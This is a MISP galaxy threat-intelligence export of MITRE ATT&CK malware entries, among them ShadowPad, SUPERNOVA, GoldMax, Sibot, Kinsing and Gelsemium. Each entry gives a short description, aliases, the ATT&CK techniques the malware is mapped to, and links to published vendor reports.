[ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017)

The tag is: *misp-galaxy:mitre-malware="ShadowPad - S0596"*

ShadowPad - S0596 is also known as:

- ShadowPad
- POISONPLUG.SHADOW

View relationships graph

ShadowPad - S0596 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5702. Table References

Links
https://attack.mitre.org/software/S0596
https://content.fireeye.com/apt-41/rpt-apt41
https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf
https://securelist.com/shadowpad-in-corporate-networks/81432/

FrozenCell - S0577

[FrozenCell](https://attack.mitre.org/software/S0577) is the mobile component of a family of surveillanceware, with a corresponding desktop component known as KasperAgent and [Micropsia](https://attack.mitre.org/software/S0339).(Citation: Lookout FrozenCell)

The tag is: *misp-galaxy:mitre-malware="FrozenCell - S0577"*

FrozenCell - S0577 is also known as:

- FrozenCell

View relationships graph

FrozenCell - S0577 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5703. Table References

Links
https://attack.mitre.org/software/S0577
https://blog.lookout.com/frozencell-mobile-threat

SUPERNOVA - S0578

[SUPERNOVA](https://attack.mitre.org/software/S0578) is an in-memory web shell written in .NET

C#. It was discovered in November 2020 during the investigation of [APT29](https://attack.mitre.org/groups/G0016)'s SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests [SUPERNOVA](https://attack.mitre.org/software/S0578) may have been used by the China-based threat group SPIRAL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: SolarWinds Advisory Dec 2020)(Citation: CISA Supernova Jan 2021)(Citation: Microsoft Analyzing Solorigate Dec 2020)

The tag is: *misp-galaxy:mitre-malware="SUPERNOVA - S0578"*

SUPERNOVA - S0578 is also known as:

- SUPERNOVA

View relationships graph

SUPERNOVA - S0578 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5704. Table References

Links
https://attack.mitre.org/software/S0578
https://unit42.paloaltonetworks.com/solarstorm-supernova/
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a
https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
https://www.solarwinds.com/sa-overview/securityadvisory

Penquin - S0587

[Penquin](https://attack.mitre.org/software/S0587) is a remote access trojan (RAT) with multiple versions used by [Turla](https://attack.mitre.org/groups/G0010) to target Linux systems since at least 2014.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)

The tag is: *misp-galaxy:mitre-malware="Penquin - S0587"*

Penquin - S0587 is also known as:

- Penquin
- Penquin 2.0
- Penquin_x64

View relationships graph

Penquin - S0587 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5705. Table References

Links
https://attack.mitre.org/software/S0587
https://securelist.com/the-penquin-turla-2/67962/
https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf

GoldFinder - S0597

[GoldFinder](https://attack.mitre.org/software/S0597) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. [GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the SolarWinds cyber intrusion by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 2021)

The tag is: *misp-galaxy:mitre-malware="GoldFinder - S0597"*

GoldFinder - S0597 is also known as:

- GoldFinder

View relationships graph

GoldFinder - S0597 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5706. Table References

Links
https://attack.mitre.org/software/S0597
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Waterbear - S0579

[Waterbear](https://attack.mitre.org/software/S0579) is modular malware attributed to

[BlackTech](https://attack.mitre.org/groups/G0098) that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.(Citation: Trend Micro Waterbear December 2019)

The tag is: *misp-galaxy:mitre-malware="Waterbear - S0579"*

Waterbear - S0579 is also known as:

- Waterbear

View relationships graph

Waterbear - S0579 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5707. Table References

Links
https://attack.mitre.org/software/S0579
https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html

GoldMax - S0588

[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://attack.mitre.org/software/S0588) was discovered in early 2021 during the investigation into the SolarWinds intrusion, and has likely been used by [APT29](https://attack.mitre.org/groups/G0016) since at least mid-2019. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)

The tag is: *misp-galaxy:mitre-malware="GoldMax - S0588"*

GoldMax - S0588 is also known as:

- GoldMax
- SUNSHUTTLE

View relationships graph

GoldMax - S0588 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 5708. Table References

Links
https://attack.mitre.org/software/S0588
https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/
https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Sibot - S0589

[Sibot](https://attack.mitre.org/software/S0589) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://attack.mitre.org/software/S0589) variants in early 2021 during its investigation of [APT29](https://attack.mitre.org/groups/G0016) and the SolarWinds cyber intrusion campaign.(Citation: MSTIC NOBELIUM Mar 2021)

The tag is: *misp-galaxy:mitre-malware="Sibot - S0589"*

Sibot - S0589 is also known as:

- Sibot

View relationships graph

Sibot - S0589 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5709. Table References

Links
https://attack.mitre.org/software/S0589

https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Kinsing - S0599

[Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)(Citation: Aqua Security Cloud Native Threat Report June 2021)

The tag is: *misp-galaxy:mitre-malware="Kinsing - S0599"*

Kinsing - S0599 is also known as:

- Kinsing

View relationships graph

Kinsing - S0599 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bash History - T1552.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5710. Table References

Links
https://attack.mitre.org/software/S0599
https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability
https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation
https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/

Gelsemium - S0666

[Gelsemium](https://attack.mitre.org/software/S0666) is a modular malware comprised of a dropper (Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. [Gelsemium](https://attack.mitre.org/software/S0666) has been used by the Gelsemium group since at least 2014.(Citation: ESET Gelsemium June 2021)

The tag is: *misp-galaxy:mitre-malware="Gelsemium - S0666"*

Gelsemium - S0666 is also known as:

- Gelsemium
- Gelsevirine
- Gelsenicine
- Gelsemine

View relationships graph

Gelsemium - S0666 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Print Processors - T1547.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5711. Table References

Links
https://attack.mitre.org/software/S0666
https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf

Chrommme - S0667

[Chrommme](https://attack.mitre.org/software/S0667) is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with [Gelsemium](https://attack.mitre.org/software/S0666) malware.(Citation: ESET Gelsemium June 2021)

The tag is: *misp-galaxy:mitre-malware="Chrommme - S0667"*

Chrommme - S0667 is also known as:

- Chrommme

View relationships graph

Chrommme - S0667 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5712. Table References

Links
https://attack.mitre.org/software/S0667
https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf

QuietSieve - S0686

[QuietSieve](https://attack.mitre.org/software/S0686) is an information stealer that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)

The tag is: *misp-galaxy:mitre-malware="QuietSieve - S0686"*

QuietSieve - S0686 is also known as:

- QuietSieve

View relationships graph

QuietSieve - S0686 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5713. Table References

Links
https://attack.mitre.org/software/S0686
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

